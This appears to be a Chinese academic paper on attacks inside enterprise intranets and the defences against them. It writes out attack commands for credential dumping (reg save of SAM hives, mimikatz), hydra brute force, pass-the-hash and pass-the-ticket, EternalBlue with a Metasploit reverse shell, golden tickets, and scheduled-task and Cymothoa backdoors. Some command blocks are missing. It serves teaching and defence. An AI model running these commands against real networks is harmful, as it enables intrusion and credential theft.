徐 過,李雙遠
(1.吉林化工學院 信息中心,吉林 吉林 132022;2.吉林化工學院 信息與控制工程學院,吉林 吉林 132022)
隨著局域網(Local Area Network,LAN)的應用與普及,越來越多的企業都已建設自己的內部網絡(局域網),內部網絡是企業內部設備之間數據傳輸的重要通道.企業局域網的建設,不僅提高了員工的工作效率,還在一定程度上提高了企業數據的安全性.但是,大多數企業只注重對企業外部網絡威脅的防御,忽略了來自企業內部的入侵防御.攻擊者就會利用企業內網環境的這一弱點,先通過一些方法取得企業內部某臺設備的控制權,再控制內部設備對公司內部網絡進行全面滲透.影響企業網絡安全的因素有很多,就員工層面來講,員工瀏覽不良網站或點擊釣魚鏈接等行為造成電腦感染病毒,都將會使企業內網中的主機成為攻擊者攻擊企業內部網絡的工具.而就企業網絡管理者來講,如果管理者的安全防范意識不夠強,泄露了企業服務器或企業內部主機的登錄密碼等私密信息,這些都將給企業網絡安全帶來很大的安全隱患.企業內部的一臺設備淪陷,就可能會造成企業的整個系統崩潰,最后給企業帶來無以估量的損失.由此可見,企業內網的安全管理是多么的重要.企業不僅需要重視外部網絡的防御,也更應注重企業內部網絡的安全防御.本文主要論述在攻擊者獲取內網中某臺主機控制權的基礎上,攻擊者通過控制該內部主機在企業內網中進行滲透的過程及相關防御措施.
在內網滲透過程中,信息收集尤為重要.攻擊者可以通過信息收集獲取內部網絡的更多信息,比如系統的防火墻防護情況或主機端口開放情況等等.掌握系統的信息后,可以對系統服務進行針對式入侵.信息收集的工作量非常大,整個滲透過程中,信息收集所花費的時間和精力是最多的.信息收集這一過程,其實就是為接下來的滲透工作做準備,收集到的信息越多,滲透就會越容易,越輕松.
本機信息收集的內容主要包括查詢本機所在內網中的位置和角色、內網中存活主機發現、主機系統識別、開放端口探測以及防火墻配置情況等等.
1.1.1 查詢本機系統信息
了解本機系統信息和補丁安裝情況極其重要,通過了解一臺主機系統的基本信息,可以大概猜測出內網中其他主機的系統信息和補丁情況,如果主機系統存在漏洞,而他剛好又沒及時安裝相應補丁,那么就可以利用該漏洞進行滲透.如果主機是Windows系統,那么在命令窗口輸入“systeminfo”命令就可以查詢系統的配置信息,包括系統型號、系統版本以及補丁情況等.
1.1.2 查詢當前用戶角色
系統對用戶的權限進行了嚴格的劃分,權限越高,能進行的操作就越多.Windows系統中,權限最高的是TrustedInstaller,權限最低的是Guest用戶,Administrator是系統管理員,User為普通用戶.而Linux系統中權限最高的是Root(超級管理員用戶).
在命令窗口輸入“whoami”就可以查詢當前用戶所擁有的權限.
1.1.3 查詢本機信息
查詢本機服務信息:
wmic service list brief
查看防火墻配置:
Netsh firewall show config
查詢當前登錄域:
net config workstation
快速定位域控ip:
net time /domain
查看域控制器:
net group“domaincontrollers” /domain
內網存活主機探測的目的是找到內網中其他存活主機的地址,一般一個IP對應一臺主機.端口掃描是滲透前的基本準備工作,攻擊者的攻擊利用對象基本都是目標主機開放的服務.
1.2.1 存活主機探測
探測內網存活主機的方法很多,可以使用腳本來實現存活主機的探測,還可以通過一些工具來探測內網存活主機,常用的工具有Nmap、Nbtscan、Superscan、Arp-scan等.比如執行下列命令,就可使用nmap工具探測192.168.0網段中的主機:
Nmap-sN 192.168.0.0/24
除了用工具發現存活主機以外,還可以通過查看DNS、ARP表、hosts文件等方式發現內網中存活的一些主機.
查看共享資料:
Net view
查看arp表:
Arp-a
查看hosts文件:
Type C:windowssystem32driversetchosts
查看dns緩存:
ipconfig /displaydns
1.2.2 網絡端口掃描
端口是主機各服務運行的主要依賴對象,攻擊者可以通過掃描目標主機開放的端口獲取目標主機開放的網絡服務程序情況[1],因為一個網絡服務程序對應一個端口.TCP和UDP協議的端口號在0—65535之間.一般情況下,1024以內的端口號對應常用的網絡服務.例如:21號端口對應FTP服務,22號端口對應SSH服務,3389號端口對應遠程桌面連接服務等.可以使用nmap工具進行端口掃描[2]:
Nmap-A 192.168.1.101/24
當發現控制的機器不能進行敏感操作或讀取不到重要文件時,那么就會考慮提升用戶權限,也稱為提權.
利用系統內核溢出漏洞提權是常用的提權方法,但如果系統被及時打上漏洞補丁,那么該提權方式將行不通.
2.1.1 查找系統缺失補丁
執行“Systeminfo”命令,就可通過查詢系統文件里的補丁號來查詢機器上安裝的補丁情況.
2.1.2 利用未修復漏洞提權
如果目標主機系統沒有對已知漏洞進行修補,攻擊者就可以通過該漏洞進行權限提升.比如ms14-068漏洞,該漏洞對應的補丁號為KB3011780.該漏洞的成因和Kerberos協議認證過程有關,Kerberos是一種計算機網絡授權協議.Kerberos協議認證過程如圖1所示[3-4].

圖1 Kerberos協議認證過程圖
大致認證流程如下:
(1)域用戶登錄時,向KDC進行預認證;
(2)AS驗證密碼是否正確,如果驗證通過,則返回給用戶一張TGT票據;
(3)用戶拿著TGT向KDC的TGS服務申請訪問Application Server的票據;
(4)域控的TGS服務驗證TGT通過后,返回給域用戶能夠訪問Application Server的票據,即ST;
(5)域用戶拿著ST訪問對應的Application Server;
(6)Application Server驗證ST.
下面簡述ms14-068的問題為:
TGT作為用戶憑證,包含了用戶名、用戶id、所屬組等信息,即PAC.簡單點講,PAC就是驗證用戶所擁有權限的特權屬性證書.
默認PAC是包含在TGT中,而出現ms14-068這個問題的原因在于用戶在申請TGT時可以要求KDC返回的TGT不包含PAC(include-PAC為false),然后用戶自己構造PAC并放入TGS_REQ數據包中的REQ_BODY中.KDC會解密PAC并加密到一個新的TGT中(正常應該返回一個ST)并返回給用戶,此時這個TGT已經帶入了構造的惡意的PAC.
利用方法:
python ms14-068.py-u
mimikatz.exe “kerberos∶∶ptc TGT_user@domain.ccache” exit
UAC(User Account Control)指用戶賬戶控制,程序在操作啟動前會對用戶身份進行驗證.程序需要UAC的授權才能進行某些操作,比如訪問系統根目錄,對重要配置文件進行讀取等.利用UAC提權的原理是發現高權限運行但是沒有UAC提示的應用,再找到其啟動調用時所缺失的值,然后添加對應的值完成提權.
2.2.1 Bypassuac模塊提權
假設已經獲得目標機器的meterpreter shell,且當前用戶在管理員組中,那接下來使用Bypassuac模塊將用戶權限提升為System權限.
在meterpreter命令窗口執行以下命令:
Exploit/windows/local/bypassuac(將返回一個新的shell),接著執行“getsystem”命令將用戶權限提升為system權限.
2.2.2 RunAs模塊提權
利用RunAs模塊提權的過程和利用Bypassuac模塊提權過程相似.
運行exploit/windows/local/ask模塊時,會生成一個可執行文件,如果目標運行程序,程序會請求提升權限,如果用戶選擇繼續運行,那么就會成功獲得一個更高的權限.
Token即令牌,是描述進程或者線程安全上下文的對象,類似于賬號和密碼.但是Token只是臨時密鑰,有效時間有限.當用戶登錄時,如果登錄驗證信息正確,系統將生成相應的訪問Token,之后用戶的進程都將攜帶該Token.如果利用工具復制管理員Token后,再去創建新的進程,那么該進程就擁有管理員的權限.
域內橫向滲透在攻擊者攻擊內網系統中很常見,以已經取得控制權的主機為跳板,攻擊其他域內的主機.攻擊者通過跳板機一步一步接近域控制器,最終達到控制域控制器的目的.
密碼抓取在滲透中極其重要,如果一個管理員管理N臺機器,這N臺機器的密碼可能都一樣或者有相同的特征.如果攻擊者知道其中一臺機器上的密碼,就可以使用該密碼進行碰撞攻擊或者通過分析密碼組成特征,利用密碼組成特征分析出其他主機的密碼.通過此方法獲取其他主機控制權相比其他方法要容易很多.
3.1.1 抓取本地用戶憑據
Windows系統中的密碼由LM hash和NTLM hash兩部分組成.用戶名和密碼等信息都保存在SAM文件中.SAM文件的目錄為C:windowssystem32config,該目錄存放著用戶的密碼,攻擊者使用以下REG命令就可以抓取其中的密碼hash值:
reg save hklmsam sam.hive
reg save hklmsystem system.hive
reg save hklmsecurity security.hive
微軟公司發布補丁KB2871997,關閉了Wdigest功能,從而防止用戶密碼以明文形式泄露.但用戶可以將注冊表下處值改為0來禁用.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential
3.1.2 域hash
當拿到域控權限后,就可以利用工具拷貝出C:windowsNTDSNTDS.dit中的用戶hash,然后再使用如NTDSDumpEx等工具解析hash.
3.1.3 弱口令暴破
弱口令是最容易被利用的漏洞,攻擊者通常會使用弱口令爆破常用的默認端口,比如ssh連接22端口,遠程桌面3389端口,還有Mysql數據庫3306端口等.如果管理者設置了弱口令或者密碼強度不夠,那么攻擊者通過密碼暴力破解就可以輕輕松松獲取主機控制權限.
當攻擊者不知道用戶名和密碼的時候,攻擊者就會嘗試對主機的賬號和密碼進行暴力破解,其原理就是利用字典文件中的賬號和密碼去嘗試連接,當字典里的賬號和密碼和正確的賬號和密碼匹配上時,就會返回正確結果.
暴力破解主要分為以下3種情況:
(1)知道登錄用戶名但不知道登錄密碼;
(2)知道登錄密碼但不知道登錄用戶名;
(3)不知道用戶名和密碼.
暴力破解的工具有很多,常用的有hydra、lasercrack、medusa等,爆破工具可以爆破多種協議的登錄驗證.例如執行以下命令使用工具hydra暴力破解ip為192.168.1.101的機器的遠程桌面協議,其中的rdp是遠程桌面協議:
Hydra 192.168.1.101 rdp-L user.txt-P password.txt-V[5-7]
當拿到目標主機用戶密碼或NTLM Hash后.可以通過憑據傳遞的方法,將散列值或密碼傳送到目標機器中進行驗證,與目標主機建立連接.
3.2.1 IPC


Net use(查看當前連接)
3.2.2 dir和tasklist命令
Dir命令:與目標主機建立連接后,使用dir命令查看目標主機中的文件.
Tasklist命令:同理,與目標主機建立連接后,可以使用此命令查看目標主機上運行的進程.
哈希攻擊,是指攻擊者拿到登錄信息的散列值之后,不進行解密,直接傳遞登錄信息的散列值到目標主機進行驗證,可以不對散列值進行破解[9].
哈希傳遞攻擊方式:
如果域中含有大量計算機,那么管理員設置的密碼可能都一樣,從而登錄信息的散列值也一樣[9].當攻擊者得到從某臺主機上獲取的相應的散列值,再使用第三方工具直接傳遞到其他目標主機上進行身份驗證,實現對目標主機的控制.
假設目標主機信息為:
Ip:192.168.1.101
域名:test.com
用戶名:username
運行mimikatz,執行以下命令,將實現對目標主機的哈希傳遞攻擊:

票據傳遞(Pass The Ticket,PTT)攻擊不同于哈希傳遞攻擊,哈希傳遞攻擊需要管理員權限,而票據傳遞攻擊傳遞不需要.如果沒獲得管理員權限,票據傳遞攻擊要比哈希傳遞攻擊容易.
可以同樣使用mimikatz工具進行票據傳遞攻擊:
第1步,導出內存中的票據:
Mimikatz“privilege∶∶debug” “sekurlsa∶∶tickets /export”
第1步完成后,目錄中會新增幾個票據文件;
第2步,清除內存中的票據:
Mimikatz # kerberos∶∶purge
第3步,注入票據文件:
2017年5月,名為“WannaCry”的勒索軟件轟動了整個網絡安全界,影響了全球近百個國家上千企業及公共組織.而與之有關的便是同年4月份被曝出來的“永恒之藍”(MS17-010)漏洞.永恒之藍漏洞被曝出來時,威脅著全球70%的windows服務器的安全,該漏洞在互聯網中引起軒然大波.
永恒之藍漏洞利用的是在Windows系統中默認開啟的SMB服務,對應的端口號默認為445端口.該漏洞的原理是通過向Windows服務器中的SMBv1服務發送構造的指令造成溢出,最終導致任意命令的執行.
現在新版的Metasploit都包含了永恒之藍漏洞的利用模塊.執行以下命令可以利用metasploit中的模塊檢測該漏洞:
Auxiliary/scanner/smb/smb_ms17_010
Set rhosts ip地址段 (設置掃描ip地址范圍)
Set threads 40(設置線程數,默認為1)
Exploit (開始執行)
執行上述命令主要用于檢測存在永恒之藍漏洞的目標主機,接下來執行以下命令對存在該漏洞的目標主機進行攻擊:
Use exploit/windows/smb/ms17_010_eternalblue
之后可以輸入命令show options查看設置參數,使用命令對ip為193.168.1.101的主機進行攻擊:
Set rhost 192.168.1.101
接下來設置攻擊payload,目標主機的操作系統不一樣,設置的payload也不一樣,這里需要選擇對應的playload:
Set payload windows/x64/meterpreter/reverse_tcp
Exploit(執行攻擊指令)
攻擊成功后就會返回一個meterpreter shell,通過該shell就可以控制目標主機了.
一般大型企業都有自己的內網,為了方便管理,根據職責的不同或功能不同,將域劃分為主域和子域.如果攻擊者得到某個子域的控制權,那么就會通過子域想方設法取得主域的控制權.
域信任是為了不同域之間能更好地進行資源共享.域信任是域中的一種機制,如果A信任B,那么當B中的用戶在通過A的驗證后,就可以訪問A中的資源.域信任分為單向信任和雙向信任兩種.簡單來說,單向信任就是A信任B,但B不一定信任A;而雙向信任是A信任B,那B也信任A.如果是內部信任,那么域信任還可以傳遞.如果A信任B,B信任C,那么A也信任C,這就是信任傳遞[9].
子父域之間默認是雙向信任,攻擊者可以借此利用子域攻擊父域.可以通過sidhistory跨域提權.
利用以下命令,使用mimikatz工具獲取子域的krbtgt hash
Lsadump∶∶lsa /patch
再輸入“powerview”命令獲取父域sid
Get-DomainComputer-Domain test.com
最后添加一個企業管理員,獲取父域管理權限.
執行以下命令,有引號的位置表示是需要根據實際信息輸入的參數:
Kerberos是域中的核心協議,上文介紹過Kerberos的工作流程,這里不做累述.當獲取到krbtgt hash時,可以通過偽造票據進行驗證.
4.2.1 金票據
金票據是偽造Kerberos協議中的TGT,Kerberos協議驗證過程中的TGT是由krbtgt加密而成.所以如果獲取到krbtgt hash,就可以構造任意的TGT了.
攻擊方法:

kerberos∶∶ptt administrator.kiribi kerberos∶∶tgt
4.2.2 銀票據
金票據是偽造TGT,而銀票據偽造的是TGS,原理和金票據相似.
攻擊方法:

當攻擊者獲取目標主機控制權后,為了不會因為入侵時與目標主機建立的連接通道被管理人員或殺毒軟件關閉而失去控制權限,攻擊者就會在目標主機上留下其他更隱蔽的后門[10].
隨著防御軟件功能的升級,操作系統后門也一直不斷升級.為了讓控制權限更持久,攻擊者不斷編寫更高級的后門.為了逃過殺毒軟件的”追殺”,后門程序的種類變得多種多樣,本文只介紹常見的幾種.
(1)注冊表注入后門
攻擊者可以通過修改注冊表,將后門程序路徑添加到注冊表中啟動并運行后門程序.修改的注冊表路徑為:
HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
當管理員登錄系統時,后門程序會自動運行.
(2)計劃任務后門
計劃任務是指系統按照預設的任務指令執行任務,而計劃任務后門,也是如此,可以設置后門程序的運行時間.計劃任務的任務類別會因用戶權限的不同而不同,管理員權限下的用戶可以設置更多的計劃任務.將后門程序的運行時間進行修改,可以降低被目標主機發現的風險.
計劃運行后門的命令如下,假如將后門程序muma.exe每1 h運行1次.
Schtasks /Create /tn Updater /tr muma.exe /sc hourly /mo 1
(3)Cymothoa后門
Cymothoa是一個可以將Shellcode注入進程的工具.Cymothoa后門是很常見的后門,他是以其他進程為宿主,不需要建立新的進程.通過插入其他操作系統信任的進程來躲避殺毒軟件的掃描,如果安全防護工具不檢測內存,就發現不了.
使用Cymothoa植入后門時,需要先找到正在運行的進程,再將后門程序插入到指定的PID進程中去.把后門程序發送到目標主機上后,可以直接執行以下命令將后門程序插入到指定的進程中去:
Cymothoa-p 101-s 2-y 4444
其中-p參數指定進程PID,-s指定shellcode類別,-y指定后門服務端口.
之后攻擊者在客戶端執行下列命令就可以與目標主機建立連接:
Nc-nvv 192.168.1.101 4444
內網信息收集依賴的主要對象是主機開啟的端口,所以針對內網信息收集的防范措施主要為以下3點:
(1)關閉不用的端口,盡量減少不必要端口的開啟;
(2)增強防火墻的管理策略,攔截異常的流量;
(3)建立安全防護系統,對有異常行為的主機進行通信阻斷.
攻擊者進行提權方法一般是通過利用系統修補的漏洞提權,系統不安全的權限分配提權和利用Token提權.相應的防范措施有以下6點:
(1)及時給服務器打補丁,做好備份,才能有效保障網站安全,避免黑客攻擊[11];
(2)普通用戶或程序給予普通權限,不要輕易將管理員權限分配給用戶;
(3)不要運行未知安全的軟件,也不要下載或傳播來路不明的文件;
(4)縮短Token的有效時長;
(5)增強Token的驗證方法以及安全管理;
(6)將密碼放在只有管理員權限才能訪問的文件中.
攻擊者進行橫向滲透的核心是密碼,所以主要的防范策略也是以密碼安全管理為中心.而攻擊者進行橫向滲透使用最多的方法是密碼暴力破解和密碼碰撞,所以,企業網絡運維人員可以通過以下5個方法進行防范:
(1)不選擇常用的郵箱以及手機號作為密碼,密碼最好不要進行反復的使用,通常情況多使用不固定的郵箱進行手機業務的交互[12];
(2)針對Kerberoast攻擊,確保密碼長度超過25位;
(3)對Kerberos票據使用AES256_HMAC加密;
(4)及時更新病毒庫.
域控制器安全是域安全的核心,跨域攻擊時,攻擊者的目標是域控制器的控制權.做到以下幾點可以防范跨域攻擊:
(1)域安全管理時,應嚴格分配域之間的信任關系;
(2)域之間建立連接時應進行多重身份驗證;
(3)不同域之間使用不同密碼.
攻擊者通過種植新的后門來達到持久性控制目標主機,所以只要發現并清理攻擊者留下的后門,就可以使攻擊者失去控制權.當發現未知的軟件或文件時,要及時清除,并且切記將殘留文件清理干凈.主要的防范措施是以下幾點:
(1)定期升級安全防護軟件,及時更新病毒庫;
(2)定期檢查系統中的進程,及時清理異常進程;
(3)定期檢查主機開放端口是否發生變化;
(4)定期查看后臺計劃任務,發現異常,及時處理;
(5)養成良好的桌面使用習慣.
本文簡述內網滲透過程以及防御措施,介紹攻擊者從進入內網到拿下域控制器權限的過程以及對應的防御措施.闡述了漏洞利用的原理,研究攻擊者一步一步實現入侵的攻擊方式以及防范措施.研究發現因為管理者不當的管理方法造成主機淪陷的問題很多,比如使用弱密碼、多次使用同一密碼及未及時安裝系統漏洞補丁等.綜上所述,為保證內網下的主機安全,網絡安全管理員應該有良好的安全防范意識,避免使用弱密碼同時也應防止密碼有被泄露的風險.而不安全的配置會讓攻擊者有可乘之機,用戶權限和域信任應制定嚴格標準,盡量減少高權限的給予和域之間訪問.為有效保證系統安全,需及時安裝系統補丁和升級安全防護軟件,當然,員工和管理者擁有良好的上網行為也極為重要.